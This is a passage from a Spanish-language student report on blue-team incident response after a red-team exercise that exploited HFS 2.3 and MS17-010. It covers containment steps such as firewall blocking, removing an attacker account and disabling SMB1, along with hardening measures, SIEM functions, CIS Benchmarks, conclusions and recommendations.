£Qué medida debe tomarse si una conexién coincide con las condiciones especificadas?
@ Tipo deregla
@ Protocalo y pusrtos i )
“ Permitir la conexién
) LEE Esto incluye las conexiones protegidas mediante Psec v las que no lo estén
@ Pedi i
_ Permitir la conexién si es segura
@ Nombrs Esto incluye solamente as conexiones autenticadas mediante |Psec. Estas se protegerdn
mediante la configuracién de reglas y propiedades de IPsec del nodo Regla de seguridad de
conexién.

@ Bloquear la conexion

Mas informacién acerca de las acciones

<tz |[ Swuene> | [ Cancelar

Nota. Bloqueo de puertos desde el cortafuegos de Windows

Contencion y Erradicacion eliminacion de usuario administrador en el Host-

67
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Figura 39

Medida de contencion y erradicacion de cuentas administradora Host-b

B8 Administrader: C:\Windows\System32\cmd.exe = ||-= @

Microsoft Windows [Versidn 6.1.76011]
Copyright <(c> 2889 Microsoft Corporation. Heservados todos los derechos.

C:“\Windows“system32>net user
Cuentas de wsuario de “\PCZO2086

DiegoLara Invitado

%e ha completado el comando correctamente.

C:\Windowsssystem32>net user DiegoLara -delete
%e ha completado el comando correctamente.

C:\Windowsssystem32>

Nota. Medida de erradicacion y persistencia: Eliminacion del usuario administrador DiegoLara
del HostB
Figura 40

Medida de hardenizacion Desactivar SMB1 del HOST-A y HOST-B

Editor del Registro o || B R
& g
Archivo Edicion Ver Favoritos Ayuda
intelide = || Nombre Tipo Datos
intelppm ab)(Predeterminado) REG_SZ (valor no establecido)
iPE“J:E’[‘J”” 5| DependOnService REG_MULTISZ 5amSS Srv
|ph‘l ch ab| Description REG_SZ @%systemroot¥e\system32\srvsve.dll,-101
IgMIpDRV b DisplayMame REG_SZ @3%systemroot¥system3srvsve.dil,-100
IPNAT 8| ErrorControl REG_DWORD (%00000001 (1)
IRENUM 8| FailureActions REG_BINARY 80 51 01 00 D0 00 00 00 00 00 00 00 03 00 00 00 14 00...
isapnp 2b|ImagePath REG_EXPAND _SZ FeSystemRoot 3\ system32\svchost.exe -k netsves
iScsiPrt 2b| ObjectName REG_SZ LocalSystem
Kbdclass ab] RequiredPrivileg... REG_MULTI 57 5eChangeNotifyPrivilege SelmpersonatePrivilege S...
kbdhid Ws|ServiceSidType  REG_DWORD 000000001 (1) .
Editar valor de DWORD (32 bit:
Keylso 3 start REG_DWORD 0400000002 (2) rarvalords = =)
KSecDD W8 Type REG_DWORD (%00000020 (32) Nombre de valor:
KSecPkg | SMB1 REG_DWORD (0%00000000 (0) SMB1
ksthunk
KtmRm Informacian del valor: Base
Trmeres) ] @ Hexadecimal
LanmaniW Decimal
Idan 2
< T —_—
| Aceptar | ‘ Cancelar
Equipa\HKEY_LOCAL_MACHIME\SYSTEM\ CurrentControlSet\services\LanmanServer

Nota. Desde el editor de registro en Windows le atribuyo el valor de CERO al valor DWORD 32

para deshabilitar el protocolo de red SMBI1



Medidas de hardening sugeridas para evitar ciber ataques

Las medidas de endurecimiento de sistemas deben implementarse para cerrar los dos
vectores de explotacion utilizados por el Red Team (HFS 2.3 y MS17-010) y romper el
Movimiento Lateral (Pivoting), adoptando un enfoque preventivo.
Tabla 6

Medidas de hardening por vector
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Vector explotado Medida de hardening propuesta

Desinstalar HFS y aplicar AppLocker para restringir

Acceso inicial (HFS)

gjecucion no autorizada
Vulnerabilidad SMB Aplicar parche MS17-010 y deshabilitar SMBv1.
Movimiento Lateral Implementar segmentacion de red y ACLs estrictas.
Sistema Operativo Migrar a versiones con soporte activo (Windows 10/11).

Nota. Estas medidas previenen la repeticion del ataque y fortalecen la postura defensiva.

Riesgos residuales después del endurecimiento y su mitigacion: Atn después de aplicar
hardening, contintan existiendo riesgos residuales que necesitan un seguimiento constante:

Persistencia encubierta: El atacante pudo haber dejado un script de persistencia oculto o
una puerta trasera (por ejemplo, en el Registro de Windows).

Mitigacion: Revision forense avanzada de todas las rutas comunes de persistencia y
andlisis regular de Autoruns para detectar scripts o binarios que no se conocen.

Explotaciéon de Dia Cero: Hay una oportunidad de que se explote una vulnerabilidad
desconocida (Zero-Day) en un servicio distinto.

Mitigacion: Vigilancia del comportamiento (EDR/SIEM): Aplicar EDR para identificar
acciones andmalas (por ejemplo, la ejecucion de comandos raros con cmd.exe) sin importar la

vulnerabilidad que se haya aprovechado.
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Distinciones entre un equipo Blueteam y un equipo que se encarga de responder a sucesos
informaticos.
Existe una distincion clara de roles, enfoque y temporalidad entre ambos equipos:

Tabla 7

Diferencias entre Blue Team y equipo de respuesta a incidentes informaticos

Equipo de Respuesta a

Caracteristica Blue Team
Incidentes (CSIRT)
Proactivo y preventivo. Fortalece la Reactivo y tactico. Maneja,
Enfoque postura de seguridad y mejora la contiene y recupera tras un
deteccion. incidente.
Fase NIST Identificar, Proteger y Detectar. Responder y Recuperar.
Evitar que ocurra el incidente mediante Minimizar el dafio y restaurar
Meta
controles de seguridad. servicios tras la brecha

Funcion continua dentro de la seguridad ~ Se activa solo cuando ocurre un
Relacion
organizacional. incidente.

Nota. Esta tabla resume las diferencias clave entre roles defensivos permanentes (Blue Team) y
equipos especializados en respuesta (CSIRT).
Proposito en un equipo Blueteam que debe considerar para trabajar con CIS "Center For
Internet Security".

Utilizaria el CIS (Center for Internet Security) principalmente como el estandar de oro
para el hardening (Endurecimiento) y la Priorizacion de Controles.

Establecer Configuraciones Seguras (CIS Benchmarks): Utilizaria los CIS Benchmarks
como guias detalladas para crear las configuraciones de seguridad més efectivas y verificables

para los sistemas Windows (HOST-A y HOST-B), servicios de red y aplicaciones. Esto asegura
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que los sistemas pasen de configuraciones inseguras por defecto a configuraciones endurecidas
que prevengan ataques basados en fallas de configuracion.(;Qué son los CIS Benchmarks?,
2024)

Priorizar la Inversion en Seguridad (CIS Controls): Los CIS Critical Security Controls
(CSC) me ayudarian a concentrar los recursos del Blue Team en las medidas de seguridad mas
efectivas, como el control de aplicaciones o la gestion de parches. Esto asegura que las medidas
de endurecimiento, tal como la aplicacion del parche MS17-010 y la desactivacion de SMBv1,
sean consideradas de méaxima prioridad

Medicion y Cumplimiento: Usaria los Benchmarks para auditar y medir de forma
continua el nivel de cumplimiento de seguridad de la infraestructura.

Funciones principales y los rasgos de un SIEM.

Un SIEM (Security Information and Event Management) es un programa que analiza y
consolida los datos de seguridad y los eventos de red, lo cual brinda una perspectiva en tiempo
real y centralizada acerca de la seguridad de la infraestructura.(; Qué es SIEM?, 2023)

Recopilacion y normalizacion: El SIEM recopila, procesa y centraliza billones de
registros de seguridad (logs) provenientes de todas las fuentes de la red, como los firewalls,
HOST-A, HOST-B, IDS/IPS y otros. Los convierte en un formato estandar para analizarlos de
manera uniforme.

Correlacion y analisis: Utiliza reglas de correlacion para conectar sucesos que parecen
no tener relacion entre si en distintos sistemas a través del tiempo, detectando patrones que
indican un ataque. Ejemplo: Relacionar la realizacion de HFS 2.3 en HOST-A con trafico SMB

irregular en HOST-B.
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Identificacion de amenazas y advertencia: Cuando se identifica una secuencia de
eventos maliciosos o una conducta andmala, produce alertas automaéticas e instantaneas que
posibilitan la intervencion del CSIRT.

Instrumentos de limitacion de agresiones a sistemas informaticos.

Las herramientas de contencion tienen como propdsito poner un limite o frenar el
progreso de un ataque, aislando el activo comprometido (la contencioén no es lo mismo que la
deteccion). Se ofrecen herramientas con licencia GPL o nativas sin costo, de acuerdo con lo que
exige SecureNova Labs (Anexo 5).

Tabla 8

Herramientas de contencion de ataques informdticos

Escenario
Herramienta Tipo/Licencia Funcion de contencion
recomendado

Bloqueo inmediato de trafico mediante

reglas DROP (2.5.3. Uso de IPTables |  Servidores

Software (GPL
Iptables Guia de seguridad | Red Hat Enterprise ~ Linux en
- Linux)
Linux | 6 | Red Hat Documentation, entornos criticos
s. f.).
Estaciones de
netsh Nativa de Creacion rapida de reglas para bloquear trabajo
advfirewall Windows IP o puertos (kaushika-mstft, s. f.). Windows

comprometidas

Nota. Estas herramientas permiten aislar sistemas comprometidos y detener la propagacion del

ataque mediante reglas de firewall.
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Evidencias de Sustentacion
En cumplimiento de los requisitos de la Etapa 5 del Seminario Especializado, se presenta
el video de sustentacion disponible en el siguiente enlace:

Video de sustentacion del informe final: https://youtu.be/ycTIPEqQC8gE
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Conclusiones

La Contencion Inmediata se reveld como la fase mas critica y con mayor impacto del
ciclo de respuesta. El aislamiento l6gico del sistema comprometido (HOST-A) fue fundamental
para romper el tinel de pivoting y, simultdneamente, ganar tiempo crucial para la Erradicacion
de la Persistencia del atacante (eliminacion de la cuenta administrativa efimera).

Para la eliminacion definitiva del vector de ataque encadenado empleado por el Red
Team, las acciones de hardening deben priorizar la desactivacion de protocolos inseguros como
SMBvVI y la segmentacion estricta de la red (ACLs). Estas medidas defensivas prueban ser
esenciales para prevenir el movimiento lateral, incluso si la vulnerabilidad de acceso inicial no
hubiese sido parchada inmediatamente.

El SIEM (Security Information and Event Management) cumple un rol
fundamentalmente proactivo para el Blue Team. Permite la correlacion de eventos entre sistemas
dispares (ej. logs del servidor web en HOST-A vy el trafico de red en HOST-B), lo cual es
indispensable para la deteccion temprana y la comprension de ataques complejos que se
extienden a través de la infraestructura.

La implementacion y el cumplimiento de los CIS Benchmarks y Critical Security
Controls garantiza que las configuraciones de seguridad sean uniformes, efectivas y priorizadas.
El uso de estos estandares minimiza la superficie de ataque derivada de errores de configuracion
y asegura que las medidas de endurecimiento se realicen bajo un estandar de maxima
efectividad.

El ejercicio practico confirmé que la funcion del Blue Team es esencialmente preventiva
y de mejora continua. El analisis de las fallas explotadas por el adversario (Red Team)
proporciona el feedback necesario para ajustar controles, fortalecer la postura general de

seguridad y asegurar que la organizacion esté mejor preparada para futuros incidente
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Recomendaciones

Implementacion de Politicas de Control de Aplicaciones (AppLocker): Se recomienda
aplicar de manera inmediata AppLocker o herramientas equivalentes en todos los sistemas
operativos Windows para restringir la ejecucion de binarios y payloads no autorizados,
mitigando ataques de ejecucion remota de coédigo (RCE) y malware avanzado.

Migracion y Retiro de Sistemas Obsoletos: Es una prioridad la migracion o retiro
inmediato de sistemas operativos sin soporte (como Windows 7 en HOST-B) a versiones
actuales, ya que el mantenimiento de plataformas obsoletas presenta una superficie de ataque
significativamente mayor, facilitando exploits heredados como EternalBlue.

Fortalecimiento de la Segmentacion de Red con ACLs Estrictas: Establecer una politica
de ACLs (Listas de Control de Acceso) en los firewalls que aplique el principio de minimo
privilegio. El trafico SMB (puerto 445) solo debe ser accesible por servidores de administracion
dedicados y nunca debe fluir libremente entre subredes de estaciones de trabajo, eliminando la
principal via de pivoting.

Auditorias Continuas y Automatizadas: Establecer un proceso de auditoria automatizada
con una periodicidad minima trimestral para verificar que todos los servidores y estaciones de
trabajo mantengan una configuracion de seguridad conforme a los CIS Benchmarks, evitando la

degradacion de la postura defensiva a lo largo del tiempo.
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